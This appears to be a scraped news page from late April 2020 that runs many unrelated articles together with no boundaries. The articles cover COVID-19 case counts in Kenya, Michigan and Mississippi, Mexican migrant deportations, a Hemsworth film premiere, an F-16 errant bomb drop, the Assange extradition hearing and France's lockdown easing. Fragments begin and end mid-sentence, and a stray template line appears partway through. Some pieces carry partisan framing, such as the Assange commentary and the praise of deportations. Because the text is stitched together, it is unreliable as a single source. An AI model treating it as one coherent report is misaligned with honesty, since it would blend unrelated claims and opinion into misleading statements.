viewings by appointment under Alert Level 3 provided they have appropriate safety plans in place. KB Financial Group headquarters in Seoul / Courtesy of KB Financial Group By Lee Min-hyung KB Financial Group Yoon Jong-kyoo Source: Xinhua| 2020-04-28 22:09:35|Editor: huaxia Video Player Close NAIROBI, April 28 (Xinhua) -- Kenya's Ministry of Health on Tuesday confirmed 11 new COVID-19 cases, increasing the total number to 374. Rashid Aman, the Chief Administrative Secretary for Health said all the cases are from Nairobi and Mombasa cities and include children aged three years who were tested from 589 samples in the last 24 hours. Aman said ten patients recovered, bringing the total number of recoveries to 124. "As we celebrate the recoveries, let me remind Kenyans that this is not the time to celebrate and lose sight of the ball. The enemy is still in our midst," Aman cautioned at a news conference in Nairobi. "It's therefore absolutely necessary that we continue to strictly observe the containment measures that have consistently been advocated for by the ministry of health," he added. Aman said the trend of positive cases in the last few days shows that the virus has been restricted to Nairobi and Mombasa. "We have therefore enhanced contact tracing surveillance and infection control measures in these counties," he added. Kenyan authorities have closed all learning institutions, banned public gatherings and imposed dusk-to-dawn curfew among other measures to help contain the spread of the disease. Enditem Mexico has deported almost all immigrants staying in government migrant centers after removing thousands of individuals to control the spread of COVID-19. Migrants Deported To Their Country There are 65 government migrant facilities in Mexico that shelter people from different countries while waiting for the approval of their American-asylum application. Most of them are in groups, like families who wanted to leave their country of origin because of domestic violence. According to Mexico's National Migration Institute, there are only 106 migrants left in the country. Last month, the Mexican government held 3,759 people, but they deported 3, 653 to Guatemala, Honduras, and El Salvador. This is following health and safety guidelines to combat the spread of COVID-19. An official from the National Migration Institute said that those who remained in the centers are waiting for their application, judicial hearing, or had asked to stay. Suspension of Immigration Procedure for 60 Days President Donald Trump recently announced that he signed an executive order suspending the immigration procedure for 60 days. Following this, the U.S. Department of Homeland Security and Customs and Border Protection removed nearly 7,000 migrants from Mexico, including almost 400 children. Kayleigh McEnany, White House Press Secretary, said on Monday: "President Trump is committed to protecting the health and economic well-being of American citizens as we face unprecedented times. As President Trump has said, 'Decades of record immigration have produced lower wages and higher unemployment for our citizens, especially for African-American and Latino workers.' At a time when Americans are looking to get back to work, the action is necessary." It can also be recounted that the United States, Canada, and Mexico that are sharing the same borders have agreed as well to extend the non-essential travels to contain and control the spread of the virus from any of the three countries. The institute's migrant centers and shelters have a total capacity of more than 8,000. Victor Clark Alfaro, a migration expert at San Diego State University, said that the policy of Mexico today is "to contain and deport." However, deporting migrants will be hard for the Mexican government because there are dozens of shelters run by religious groups and non-government organizations who continue to harbor migrants in the country. Some are not waiting to be deported while others wish to leave the country and go back to their country of origin because of the fear of being infected by the virus. More than 80 Guatemalan migrants were deported recently from the United States because they tested positive for the virus. Trump's move to suspend the migration process and extend the non-essential travels will help flatten the curve. On the other hand, the action of Mexico to deport migrants who are staying in the country illegally will also help control the spread of the virus in shelters that are already congested enough. Read a related article: He released his new Netflix movie Extraction in Australia last Friday. And to mark the film's premiere on the global streaming platform, Chris Hemsworth and his wife Elsa Pataky traded the red carpet for coastline views. 'Our Extraction premier photo,' Spanish actress Elsa captioned a selfie of the pair standing in front of the pool at their $20 million mega-mansion in Byron Bay on Monday night. 'Our Extraction premiere photo': Elsa Pataky and Chris Hemsworth hosted a private premiere for his new Netflix movie Extraction at their $20 million mega-mansion in Byron Bay on Monday night... for two While films often launch with an extravagant red carpet event and an equally-impressive A-list crowd, the coronavirus pandemic has halted such gatherings. However, while COVID-19 lockdowns and restrictions eliminated the chance of a red carpet premiere, the couple chose to celebrate in their own special way. Elsa and Chris dressed down for the occasion, as they stood at the edge of their infinity pool with the picturesque coastal backdrop behind them. A first for the family? It is also likely the only other guests at the 'premiere' were their kids. The Hollywood couple share three children: daughter India Rose, seven, and twin sons Sasha and Tristan, five It is also likely the only other guests at the 'premiere' were their kids. The Hollywood couple share three children: daughter India Rose, seven, and twin sons Sasha and Tristan, five. Chris plays damaged mercenary Tyler Rake in the film, who is contracted to rescue the kidnapped son of crime lord from India. Action hero! Chris plays damaged mercenary Tyler Rake in the film, who is contracted to rescue the kidnapped son of crime lord from India As the film's premiere was a no-go, the Australian actor was forced to get creative when it came to promoting his new project. Chris hosted interactive interviews and 'press junkets' on his personal Instagram account for fans this week, and did interviews with media over Zoom. Extraction is now available to stream on Netflix For complete coronavirus coverage, visit our coronavirus page. Midland County recorded its fourth death Tuesday in the coronavirus pandemic, but it did not add any new cases, according to the daily afternoon state report. The county has 56 cases and four deaths. Fred Yanoski, Midland County Public Health director/health officer, said late last week, that 27 people who tested positive in Midland County had been released from isolation per guidelines. Bay County on Tuesday added 13 cases and another death, bringing its total to 135 cases and four deaths. Gladwin County added one case and Isabella County added two cases, bringing their totals to 12 cases and one death and 59 cases and seven deaths, respectively. Saginaw County added 23 cases and five deaths, bringing its total to 609 cases and 52 deaths. The state added 1,052 new cases and 164 deaths on Monday. Forty of the 164 deaths are from review of death certificate data conducted by state Department of Health and Human Services staff three times a week, according to the state. Overall, Michigan is at 39,262 cases and 3,567 deaths. The average death age is 74.5, according to the state website, mich.gov, with the deceased ranging in age from 5 to 107. The state lists 40% of the deceased as 80-plus and 28% age 70-79. State statistics show 54% of coronavirus deaths are male and 46% are female. Midland County is not releasing demographics regarding the four people who have died locally. The state lists the total recovered at 8,342 cases, as of April 24, which represents COVID-19 confirmed individuals with an onset date on or prior to March 25, 2020, according to the state website, mich.gov. The numbers will be updated every Saturday. The state lists the majority of races in positive cases as 41% Black/African American; 44% Caucasian and 9% unknown, and the top three races in deaths as 41% Black/African American; 45% Caucasian and 9% unknown. The total positive cases are 45% men, 54% women and 1% unknown. Midland County Department of Public Health continues to encourage residents to take precautions to prevent the spread of COVID-19: Continue to practice social distancing as recommended by federal, state and local officials. Avoid touching your eyes, nose and mouth. Cover your cough or sneeze with a tissue, then throw the tissue in the trash. Disinfect commonly touched surfaces. Stay home when you are sick. Wash your hands often with soap and water for at least 20 seconds. If soap and water are not readily available, use an alcohol-based hand sanitizer with at least 60% alcohol. If you think you've been exposed to COVID-19 and develop a fever and symptoms such as cough or difficulty breathing, call your health care provider for medical advice. If he/she isn't available, call MidMichigan Urgent Care in Midland at 989- 633-1350 or MidMichigan Medical Center's Emergency Department in Midland at 989-839-3100. MidMichigan Health has a COVID-19 informational hotline with a reminder of CDC guidelines and recommendations. The hotline can be reached toll-free at 800-445-7356 or 989-794-7600. Michigan Department of Health and Human Services also has a hotline number for Michigan residents for questions about COVID-19. The number is 1-888-535-6136 and is available seven days a week from 8 a.m. to 5 p.m. Residents can also e-mail COVID19@michigan.gov. E-mails will be answered seven days a week between 8 a.m. and 5 p.m. If you are feeling anxious, stressed, depressed and feel you need to talk to someone, reach out to Community Mental Health for Central Michigan by calling 800-317-0708. JACKSON COUNTY, Mississippi -- Although unrelated, given the two-week incubation period, cases of COVID-19 both statewide and locally spiked Monday -- just as Gov. Tate Reeves eased some virus-related restrictions in the state. Tuesday mornings update from the Mississippi Department of Health reported 248 new cases and 10 new deaths statewide, bringing those totals to 6,342 and 239, respectively. Those figures come just as total cases in the U.S. surpassed 1 million -- a third of all cases worldwide.de-digit new cases were reported. Harrison County had seven new cases and Hancock County had one. Once again, however, there were no new deaths reported on the Mississippi coast, which now totals 479 cases (7.6 percent of the state total) and 17 deaths (7.1 percent of state total). Reeves shelter-in-place order which went into effect April 3 expired Monday morning, replaced with a new safer at home order which allows greater movement for Mississippi residents, with the exception of those in the 65-and-above age group or those with underlying conditions which compromise their immune systems. Those individuals are instructed to remain in their homes, according to the new order, which Reeves signed Friday. The new order also allowed some retail businesses to reopen, with the caveat they cannot allow more than 50 percent of capacity inside their stores at any one time. Gyms, barber shops, hair/nail salons and tattoo parlors are some of the businesses that must remain closed. Doctors and dentists have also been allowed to resume performing elective procedures, which had been banned under Reeves previous order. This disease has not hit every American fairly. It is particularly cruel to some, Reeves said in a message posted to Facebook over the weekend. And the economic damage has not hit every American fairly, he said. It has been particularly cruel to the working class: Those people who work on their feet. Those people who dont have a home office or paid leave. Those people who come home with callouses on their handsbecause they did a hard days work for an honest days pay. Statistically, little has changed in the data provided by the MDH. Over 11 percent of all cases statewide, and 15.5 percent of Jackson County cases, have come from long-term care facilities. African-Americans continue to comprise more than half (52.1 percent) of all cases and 59 percent of all deaths in Mississippi. Women represent 59.3 percent of all cases. Those 60+ also continue to make up 32.4 percent of all cases and nearly 90 percent of all COVID-19 deaths in Mississippi, as well as 63.8 percent of all cases requiring hospitalization -- although overall only 19.5 percent of COVID-19 patients have required hospitalization. Overall, Mississippis 6,342 cases represent .002 percent of Mississippis population of 3 million and the 239 deaths represents .00008 of the population. Jackson Countys rate of infection matches that of the state -- .002 percent. The countys six COVID-19 deaths represents .00004 percent of Jackson Countys population of 143,617, according to the U.S. Census Bureau. The Associated Press contributed to this report. NORTHAMPTON Police warn of an uptick in the theft of catalytic converters from vehicles, particularly Toyota Priuses. Since the start of the year, police have taken seven reports of stolen catalytic converters and two reports of vehicle damage caused during the attempted theft of catalytic converters. All but one of the reports involved 2005-2009 Toyota Priuses, Police Chief Jody Kasper wrote in a post on the departments Facebook page. Those with Priuses should park them in a garage or in a well-lit area, if possible. Late last week, police took a report of a catalytic converter stolen from a vehicle parked on Pomeroy Terrace. Those who have had their catalytic converters stolen may see small bits of metal debris under and around their vehicle and would immediately notice a loud noise upon starting it up. Catalytic converters are often targeted because they contain precious metals that can be resold, police say AsylumConnect is the first ever tech resource platform designed for persecuted LGBTQ+ people and we are proud to prioritize the unique needs of the LGBTQ+ community. At the critical intersection of LGBTQ+ and immigrant rights, our cause and scalable solution are more important than ever. The winners of Fast Companys 2020 World Changing Ideas Awards were announced today, honoring the businesses, policies, projects, and concepts that are actively engaged and deeply committed to flattening the curve when it comes to the climate crisis, social injustice, or economic inequality. AsylumConnect has been selected as a Finalist in the Apps category for Fast Companys 2020 World Changing Ideas Awards. AsylumConnect is a nonprofit leveraging technology to facilitate the safe navigation of people fleeing persecution due to their sexual orientation or gender identity. From leaving their dangerous home country to resettlement, it is often a matter of life-or-death for persecuted LGBTQ+ people to be able to easily identify and connect with legitimate and LGBTQ+ affirming lawyers and other direct service providers. Launched in 2016 in the U.S., the AsylumConnect Catalog is the first resource website and mobile app designed for the tens of thousands of people fleeing persecution due to their sexual orientation or gender identity each year. LGBTQ+ asylum seekers and other LGBTQ+ people in need (including undocumented LGBTQ+ immigrants and homeless LGBTQ+ youth) use the AsylumConnect Catalog as a free 24/7 digital one-stop-shop to meet all of their critical human needs, including: housing, food, hygiene and clothing, legal, medical, mental health, community support, translation, transportation, education and employment services. Lawyers also use the free app to easily gather verified medical, mental health and social service referrals for LGBTQ+ clients. AsylumConnects full mobile app is currently available in 25 U.S. states and Canada. In response to Americas Remain in Mexico policy, the organization also plans to launch a native bilingual version of its app in Mexico during Summer 2020 to facilitate the safe navigation of the thousands of persecuted LGBTQ+ people who are being forced to wait in Mexico during the U.S. asylum process. Now in its fourth year, the World Changing Ideas Awards showcase 26 winners, more than 200 finalists, and more than 500 honorable mentions. A panel of eminent judges selected winners and finalists from a pool of more than 3,000 entries across transportation, education, food, politics, technology, and more. The 2020 awards feature entries from across the globe, from Vancouver to Singapore to Tel Aviv. AsylumConnect is the first ever tech resource platform designed for persecuted LGBTQ+ people and we are proud to prioritize the unique needs of the LGBTQ+ community," said Katie Sgarro, co-founder and executive director of AsylumConnect. At the critical intersection of LGBTQ+ and immigrant rights, our cause and scalable solution are more important than ever. There seems no better time to recognize organizations that are using their ingenuity, resources, and, in some cases, their scale to tackle societys biggest problems, says Stephanie Mehta, editor-in-chief of Fast Company. Our journalists, under the leadership of senior editor Morgan Clendaniel, have uncovered some of the smartest and most inspiring projects of the year. About AsylumConnect AsylumConnect is a nonprofit providing the worlds first tech resource platform for people fleeing persecution due to their sexual orientation or gender identity. Download the free app on iOS and Android: https://asylumconnect.org/mobile-app For more information, please visit AsylumConnect.org and follow @AsylumConnect on Twitter, Instagram and LinkedIn. About the World Changing Ideas Awards World Changing Ideas is one of Fast Companys major annual awards programs and is focused on social good, seeking to elevate finished products and brave concepts that make the world better. A panel of judges from across sectors choose winners, finalists, and honorable mentions based on feasibility and the potential for impact. With a goal of awarding ingenuity and fostering innovation, Fast Company draws attention to ideas with great potential and helps them expand their reach to inspire more people to start working on solving the problems that affect us all. House of Representatives Wont Return Next Week, Top Democrat Says The House of Representatives has dropped plans to return to the Capitol due to the CCP virus pandemic, a top Democrat leader said. Rep. Steny Hoyer (D-Md.), the House majority leader, said lawmakers in the lower congressional body wont return next week to Washington. He cited a growing number of CCP (Chinese Communist Party) virus cases in the District of Columbia as the reason why, while also noting that he spoke with the House physician about legislators coming back. The Houses physicians view was that there was a risk to members, Hoyer told reporters on April 28. We hope to come back very soon to consider the CARES2 legislation, he added, referring to another stimulus package that is being considered in a bid to offset some economic losses suffered as states have maintained stay-at-home orders. Last week, the House and Senate voted to pass a measure that replenished several funds within the $2.2 trillion CARES Act that was passed in late March, punctuated by several lawmakers wearing face masks, including House Speaker Nancy Pelosi (D-Calif.), on the House floor. A meeting would be held by a bipartisan group of lawmakers about whether the House can work remotely. House Speaker Nancy Pelosi (D-Calif.) speaks on the floor of the House of Representatives at the U.S. Capitol in Washington on April 23, 2020. (House Television via AP) My objective would be that we agree upon a process so that committees can do all the work they would do if they were sitting in the same room through technological connections, he said of the remote work initiative. Senate Majority Leader Mitch McConnell (R-Ky.) had said the upper chamber of Congress would return one week from [Monday], or on May 4. We will modify routines in ways that are smart and safe, but we will honor our constitutional duty to the American people and conduct critical business in person, he said. Several weeks ago, McConnell said the Senate wasnt slated to hold another session in Washington until at least May 4 due to the pandemic. The top Republican senator suggested that senators perform their essential functions, since doctors, nurses, truck drivers, store clerks, and other essential employees have continued to work. It is essential for senators to carefully man ours and support them, he said in a statement. Last weeks CCP virus relief package, signed into law on April 24, included adding $300 billion to the Small Business Administrations Payment Protection Program that helps certain small companies deal with payroll and overhead costs after they lost business due to the pandemic. A week before that, the Treasury Department warned that the program had exhausted its funds. The package also included about $100 billion for hospitals and testing, as well as other measures. Photo credit: U.S. Air Force photo by Master Sgt. Richard P. Ebensberger/DVIDS From Popular Mechanics A U.S. Air Force F-16 stationed in Japan accidentally dropped a bomb on private property. The accident report blames pilot error, including channelized attention. There were no casualties or damage on the ground, and pilot was retrained and eventually placed back on duty. A U.S. Air Force F-16 Fighting Falcon fighter jet mistakenly dropped a bomb on private property miles from a bombing range in Japan. The Air Force released the accident report earlier this week, though the incident took place on November 6, 2019. The report explains that pilot error caused the GBU-12 laser guided bomb to strike the wrong target miles away from the actual target. An F-16CM fighter from the 14th Fighter Squadron was flying a training mission at the Draughon Bombing Range, located approximately 15 miles away from the fighters home base at Misawa Air Base. The pilot accidentally sent the GBU-12 flying to a target location he believed another F-16 was spotting for him. Instead, the bomb was sent to another location, 3.4 miles away and off the bombing rangeon private property. No one was killed or injured during the incident, and there was no damage to property. The GBU-12 Paveway II is a 500-pound bomb fitted with a laser seeker and control fins to guide the bomb to target. The releasing aircraft, other aircraft, drone, or unit on the ground will paint the target with a laser beam. Once the bomb is dropped, the seeker homes in on the laser energy reflected off the target. Laser guided bombs like the Paveway II are considered smart bombs but are only as smart as the targeting data. In this case, the report explains , the pilot was flying a nighttime suppression of enemy air defense (SEAD) mission and was cleared to drop an inert (non-explosive) GBU-12. Due to scattered clouds at the 6,000 to 8,000-foot level, the pilot was unable to see the target himself. The pilot asked another aircraft in his three ship formation to transmit target coordinates, and another plane did so. Unfortunately, the pilot apparently became confused and dropped the bomb on a different set of coordinates. Story continues The report blames channelized attention, changing weather, and targeting technical error for errant drop. The pilot believed that if one of the other aircraft in his flight could see the target it was safe to drop the bomb. Unfortunately, unknown to all those involved, the pilot acted on incorrect targeting data. According to the Air Force , the aircraft and pilot were both immediately grounded after the incident. The pilot was disqualified, retrained in weapons handling, and was ordered to brief all the other pilots at Misawa on the sequence of events leading up to the mishap to prevent a similar incident. Incidents like these happen periodically but are particularly disruptive at overseas bases where local governments are sensitive to the presence of foreign troops on their soil. The Japanese government later issued a severe protest over the Air Forces handling of the incident and was particularly incensed it was not informed until the next day. In a March 2018 incident, another F-16 based at Misawa dropped two external fuel tanks in a lake after its engine caught fire. Source: Air Force Magazine You Might Also Like Washington, April 28 : US House Speaker Nancy Pelosi endorsed former Vice President Joe Biden as the Democratic Party's presumptive presidential nominee. In a video released on Monday morning, Pelosi described Biden as a "voice of reason and resilience" amid the coronavirus pandemic, Xinhua news agency reported. "When our nation faced the Great Recession, it was Joe Biden who led the implementation - and the accountability - of the Recovery Act, helping create and save millions of jobs. When the Democratic Congress was passing the Affordable Care Act, Joe Biden was a partner for progress in the White House and also championed the cancer moonshot," she said. Biden already has the formal support from former President Barack Obama, progressive leaders Bernie Sanders and Elizabeth Warren, and the party's two previous presidential nominees John Kerry and Al Gore. This week in Christian history: John Knox; day of prayer against grasshoppers, influential missionary dies Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Christianity is a faith with a long and detailed history, with numerous events of lasting significance occurring throughout the ages. Each week brings the anniversaries of great milestones, horrid tragedies, amazing triumphs, telling tribulations, inspirational progress, and everything in between. Here are just a few things that happened this week, April 26-May 2, in Church history. They include a statewide day of prayer in response to a grasshopper swarm, the death of a missionary who influenced John Wesley, and John Knox returning to Scotland. 1 2 3 4 Next New Delhi: Spreading awareness in its signature filmy style, Mumbai Police`s Twitter team on Monday used the reference of Chris Hemsworth`s Netflix film `Extraction,` and urged people to not venture out during the lockdown. The action flick `Extraction` which also features Bollywood actor Randeep Hooda besides Hemsworth has been largely shot in India and has several dialogues in Indian languages, including Bengali. Mumbai Police`s Twitter team used Hemsworth`s Bengali dialogue "Proman Dao (Give Proof)" from the film and asked people to make sure that they have a "proman" or proof of urgency while stepping out during the lockdown. They shared a still from the movie that had Hemsworth standing and the text on the picture read `Before you venture out of home during lockdown: "Proman Dao."`Mumbai Police further made it clear that they will not negotiate with anyone if they don`t have proof while venturing out. "Make sure you always have one before you leave home because - Hum negotiate `NAHI` karenge. #LockdownMandates #PromanDao," Mumbai Police tweeted along with the picture. Make sure you always have one before you leave home because - Hum negotiate 'NAHI' karenge. #LockdownMandates #PromanDao pic.twitter.com/GovCmVFWNo Mumbai Police (@MumbaiPolice) April 27, 2020 Mumbai Police`s Twitter account is known for its quirky tweets and information with hilarious twists. Earlier this month, Prime Minister Narendra Modi extended the nationwide lockdown till May 3 and urged people to stay in their homes to prevent the spread of coronavirus. Julian Assanges extradition hearing, scheduled to begin on May 18, has been postponed. The WikiLeaks founder is fighting prosecution by the United States government for exposing war crimes and human rights abuses and is facing a possible 175-year prison sentence. On April 7, District Judge Vanessa Baraitser denied a request for a postponement. Yesterdays hearing was held at the request of Assanges legal team to review that decision. Speaking for the defence, Edward Fitzgerald QC told the court, Mr Assange no longer possesses the ability to prepare, communicate with his lawyers, call his evidence, or advance his submissions in a hearing which is fair, and which provides even a semblance of equality of arms [with the prosecution]. He has only this one chance to place his case before you and the fate that he faces if extradited is one that puts his very life at risk. The defence lawyer insisted that a hearing could not proceed under the current circumstances. Counsel and solicitors would necessarily have to sit in close proximity, in breach of government guidelines, and bringing the defendant from the prison to the court would be dangerous for both him and the prison staff. Furthermore, in the present and continuing lockdown situation, it would be oppressive to require Mr Assange to undertake a three-week hearing in his current physical and mental condition. An evidential hearing in which Mr Assange, all lawyers, and all witnesses, appear via video is neither feasible nor in the interests of justice, he insisted. Fitzgerald pointed out that it would be impossible to ensure open justice at the hearing, explaining, there is still no adequate means to address the problems of how the press and the public, who were entitled to be present at such a physical hearing, would practically be able to attend. This was attested to by the farcical dial-in procedure used to give journalists access to yesterdays proceedings, which this author can testify consisted of a jumble of echoes, feedback, background typing and interrupting automated announcements whenever a new person joined or left the call. Even in the courtroom itself, a clerk was required to repeat what he could hear of Fitzgeralds submission into a microphone for the press and publics benefit. In addition to the problems with the hearing itself, Assanges lawyer continued, With the coronavirus outbreak the preparation for this case goes from difficult to impossible. Fitzgerald said that Apart from short phone calls, weve had no direct access to Mr Assange for over a month. Reminding the court that Baraitser had previously offered to make arrangements for Assanges legal team to visit him in the cells of Woolwich Crown Courtnear Belmarsh maximum security prison where he is heldFitzgerald said: Such a course would have been fraught with immense difficulties and significant health risks to Mr Assange himself and to his lawyers. But, in any event this proposal has simply been ruled out by the prison authorities on 9 April, this Court informed the parties that attending Woolwich Crown Court on 22 April to visit Mr Assange in the cells as directed ... will not be possible. No prisoners are being physically produced from Belmarsh Prison into Woolwich [Court]. Nor can Assanges legal team visit him in Belmarsh without breaking government-mandated lockdown procedures, now in place until at least May 8. Even if these measures were to be lifted before May 18, no time would be allowed before the deadline for the service of defence evidence (May 1) or defence submissions (May 7) and just a week of short visits would be available to update Assange and take further instructions before the hearing itself. The alternative of video conferences, Fitzgerald continued, is medically dangerous. To use the video link facilities, Assange must walk with prison officer(s) across prison to wait in a videolink holding area with others, then use a small booth repeatedly used by others; all without protective measures. Video conferences also do not allow the passing of documents and Assange is still without proper access to a computer. Summarising the situation, Fitzgerald told the court that if the hearing were to proceed as planned, Mr Assange will be facing a David and Goliath battle with his hands tied behind his back. He added that in this case both the prosecution and defence agree that it would not be fair to proceed with this hearing by video link and introduced a statement from the US government supporting the application for an adjournment. James Lewis QC, speaking for the prosecution, confirmed: In this extraordinary time we would support the application. In response to the appeal, Baraitser began reading from a prewritten ruling that indicated she had been prepared to rule against a delay. She stated that delay undermines the administration of justice and that there is a particular urgency in bringing [Assanges] case to a conclusion. But with the US government supporting a delay, she concluded that remote attendance by the parties in this case will not be appropriate and that it is now appropriate to vacate [the May 18] hearing and fix it to a later date. The possibility of a bifurcated hearing across July and August was raised as an alternative, as was a single three-week hearing which the courts could only accommodate from November at the earliest. The final dates will be decided at the next case management hearing at Westminster Magistrates Court on May 4. Baraitsers ruling was essentially decided on in the US, animated by a fear that the stench of the secret trial being prepared for May would awaken broader opposition and escalate the growing crisis facing the US legal system and the Trump administration. During the first week of the extradition hearing, in February, evidence was released by blogger Cassandra Fairbanks demonstrating President Donald Trumps direct involvement in prosecuting Assange. The next month, the prosecution of former CIA employee and alleged WikiLeaks whistleblower Joshua Schulte collapsed in a mistrial and Chelsea Manning was released from a year-long vindictive imprisonment having given her persecutors nothing. More broadly, the country is facing an unprecedented public health, economic and social catastrophe which threatens to transform the political landscape of America. While the US works to resolve these problems so the effective rendition can resume, Assange is to be kept in desperately unsafe conditions in the UK prison system, which is being wracked by the coronavirus epidemic. It remains one of the preferred outcomes for the British and American ruling class that COVID-19 does their dirty work for them by killing Assange, who suffers from a chronic lung condition and the effects of psychological torture, in Belmarsh. The danger was underscored yesterday when Fitzgerald informed the court that, like at the last hearing, Assange would not be appearing by video link due to illness. Despite overwhelming evidence of the risk posed to Assange by his continued imprisonmentwhile held as an innocent man on remandBaraitser showed no hesitation in refusing a bail application on March 25. At the time, she claimed that she had no reason not to trust in the effectiveness of the governments and prison estates safety measures. She repeated the same claim yesterdaywith at least 15 prisoners and four prison staff already dead after falling ill with Covid-19telling Fitzgerald, In my view whether it is safe for him to be transported to a video conference room is for the prison to make. In other words, if the defence is to make even extremely limited progress in constructing its case, this must be done by continually risking Assanges life. Workers and youth internationally must utilise the crisis facing Assanges persecutors to redouble the fight to secure his immediate release and the dropping of the Espionage Act charges against him. Copyright 2020 Albuquerque Journal SANTA FE Republican legislators in the state House on Tuesday evoked the possibility of civil unrest and social chaos as they called on Democratic Gov. Michelle Lujan Grisham to accelerate the reopening of New Mexicos economy. In a conference call with reporters, House Minority Whip Rod Montoya, R-Farmington, said the state needs to avoid a Kent State situation a reference to the Ohio National Guards shooting of protesters in 1970 as State Police enforce public health orders closing nonessential businesses. Its just unpredictable as to what could happen, Montoya said. His comments come after Grants Mayor Martin Hicks, a Democrat, encouraged businesses in his city to defy the governors orders and reopen to the public. Nora Meyers Sackett, a spokeswoman for Lujan Grisham, called Montoyas reference to the Kent State massacre appalling. Decisions on how to move forward, she said, wont be based on politics. Evidence-based decisions and protecting public health have been and will remain the foremost priorities, Sackett said in a written statement. The state is immensely grateful to the local community officials and stakeholders from all across New Mexico who recognize the importance of safeguarding public health and upholding the measures we all must undertake to minimize transmission of this virus and ensure New Mexicans are as safe and healthy as they can be. As of last week, State Police had issued 124 cease-and-desist orders to first-time violators and three citations on second offenses. Two individuals were referred to the Department of Health for repeated noncompliance and could face civil penalties. Pressure to allow more businesses to reopen has grown across the country in recent weeks. Texas and Colorado, for example, are preparing to begin a slow reopening. Lujan Grisham has said that its time for New Mexico to consider slowly relaxing its restrictions, too, but that she expects to extend the current public health orders through May 15, perhaps with some modifications. The governor also has appointed an economic recovery council to help plan for the reopening. Republican legislators in the House where Democrats hold a 46-24 edge urged the governor in a letter Tuesday to accelerate the lifting of restrictions, arguing that many businesses wont survive if restrictions last through mid-May. New Mexicans, they said, are growing restless and may take matters into their own hands. Little time remains, the lawmakers wrote, to keep the situation from devolving into social chaos. This job expired on 7 May 2020. S econdary school pupils in France will be required to wear masks from next month as they start returning to school under new measures set out by the country's prime minister to ease the coronavirus lockdown. Edouard Philippe said that the lockdown imposed in response to the Covid-19 pandemic had saved 62,000 lives in a month, but that keeping the restrictions in place would mean risking economic collapse. Speaking in Parliament, he said it was time to explain to the country how the lockdown would gradually be eased from May 11. "We are going to have to learn to live with the virus," Mr Philippe told Parliament on Tuesday as he began outlining measures to gradually ease the lockdown. "We must learn to live with Covid-19 and to protect ourselves from it." The country would begin easing the lockdown on May 11, unless it was unsafe to do so, Mr Philippe said, adding that enough masks will be available for everyone by that point. He warned that the lockdown would not end unless the number of new cases of Covid-19 infections drops below 3,000 per day. Europe takes it's first steps out of Coronavirus lockdown 1 /25 Europe takes it's first steps out of Coronavirus lockdown People queue at a hardware store during a partial reopening after the Austrian government eased lockdown restrictions Reuters A worker checks the temperature of a customer at the entrance of a supermarket in Itay Reuters Customers hold flowers in front of a DIY store in Graz, Austria, after it re-opened on April 14, 2020, following a "shutdown" in a measure to limit the spread of the new coronavirus APA/AFP via Getty Images People wearing protective face masks and gloves walk in the streets as the Italian government allows the reopening of some shops while a nationwide lockdown continues following the outbreak of the coronavirus disease (COVID-19), in Venice, Italy, Reuters People queue to enter a hardware store during a partial reopening after the Austrian government eased restrictions following the coronavirus disease (COVID-19) outbreak in Eisenstadt, Austria Reuters Camilla Cocchi wears a face mask and gloves as she sorts out clothing in her children's clothes shop after it was allowed to reopen following lockdown measures to contain the spread of Covid-19, in Rome AP A man wearing a face mask shops in a hardware store during a partial reopening after the Austrian government eased restrictions following the coronavirus disease (COVID-19) outbreak in Eisenstadt, Austria Reuters "Respect the 2 meters distance" banner is seen at a fish stand as the Italian government allows the reopening of some shops while a nationwide lockdown continues following the outbreak of the coronavirus disease (COVID-19) in Venice, Italy, Reuters Customers wearing face masks push shopping carts in front of a DIY store in Vienna, Austria, after it re-opened on April 14, 2020, following a "shutdown" in a measure to limit the spread of the new coronavirus APA/AFP via Getty Images A worker checks the temperature of a customer at the entrance of a supermarket, as the spread of the coronavirus disease (COVID-19) continues, in Turin, Italy Reuters Customers line up in front of a DIY store in Graz, Austria APA/AFP via Getty Images Gianfranco Mandas wears a face mask as he sorts out clothing in his children's clothes shop after it was allowed to opens following restriction measures to contain the spread of Covid-19, in Rome AP Customers wearing face masks push shopping carts in front of a DIY store in Vienna, Austria, after it re-opened on April 14, 2020, following a "shutdown" in a measure to limit the spread of the new coronavirus APA/AFP via Getty Images Customers queue at the Trastevere market, as new restrictions for open-air markets are implemented to prevent the spread of coronavirus disease (COVID-19) in Rome, Italy, Reuters Customers wearing face masks push shopping carts in front of a DIY store in Vienna, Austria, after it re-opened on April 14, 2020, following a "shutdown" in a measure to limit the spread of the new coronavirus APA/AFP via Getty Images A man wears a protective face mask and gloves at the newsstand as the Italian government allows the reopening of some shops while a nationwide lockdown continues following the outbreak of the coronavirus disease (COVID-19), in Venice, Italy Reuters People wearing face masks work in a hardware store during a partial reopening after the Austrian government eased restrictions following the coronavirus disease (COVID-19) outbreak in Eisenstadt, Austria Reuters Customers queue at the Trastevere market, as new restrictions for open-air markets are implemented to prevent the spread of coronavirus disease (COVID-19) in Rome, Italy Reuters A general view of the parking area of a hardware store during the partial reopening of shops after the Austrian government loosens its lockdown restrictions during the global coronavirus disease (COVID-19) outbreak in Vienna Reuters The death toll in France passed 23,000 on Monday, the worlds fourth highest behind the United States, Italy and Spain, but ahead of the UK. Outlining the new measures to emerge from the lockdown, Mr Philippe said forms will not be required to go out, apart from for trips of more than 100km. Booking will be compulsory to use trains, Mr Philippe said, and 70 per cent on the transport network is expected to be running by May 11. TODO: define component type apester Primary schools and nurseries can reopen on May 11, on a voluntary basis, and high schools can gradually reopen from May 18. Secondary school students will be required to wear masks, but those in junior schools will not be required to do so. Class sizes will be kept to 15 students per class and distance learning will remain free for those students who stay home. A woman wearing a protective face mask walks on the Champs Elysees Avenue in Paris / REUTERS Beaches will remain closed until June 1 and only small museums will reopen on May 11, not large ones. Non-essential French retailers can reopen their doors, but they will have the right to insist that shoppers wear masks on the premises. Stores in shopping centres will not reopen and restaurants and cafes will have to remain closed. Mr Philippe said working from home will be encouraged, and where that is not possible companies will be asked to stagger work hours by introducing shifts. Masks will be required where social distancing is not possible. France will also introduce a new doctrine on Covid-19 testing from May 11 with the aim of testing everyone who has come into contact with people who are infected, Mr Philippe told Parliament. Lockdown measures will start to be eased from May 11 - but only if it is safe to do so / Getty Images He said the government had set a goal of carrying out at least 700,000 tests per week, starting when the gradual easing of restrictive measures is due to begin. "Once a person has tested positive, we will begin to identify and test all those, symptomatic or not, who have had close contact with them. All these contact cases will be tested and will be asked to isolate themselves," Mr Philippe said. The Rajasthan government will use tuberculosis-detection machines for coronavirus testing, Health Minister Raghu Sharma said. The government will test the coronavirus infection through TB-testing CBNAAT machines which will give results 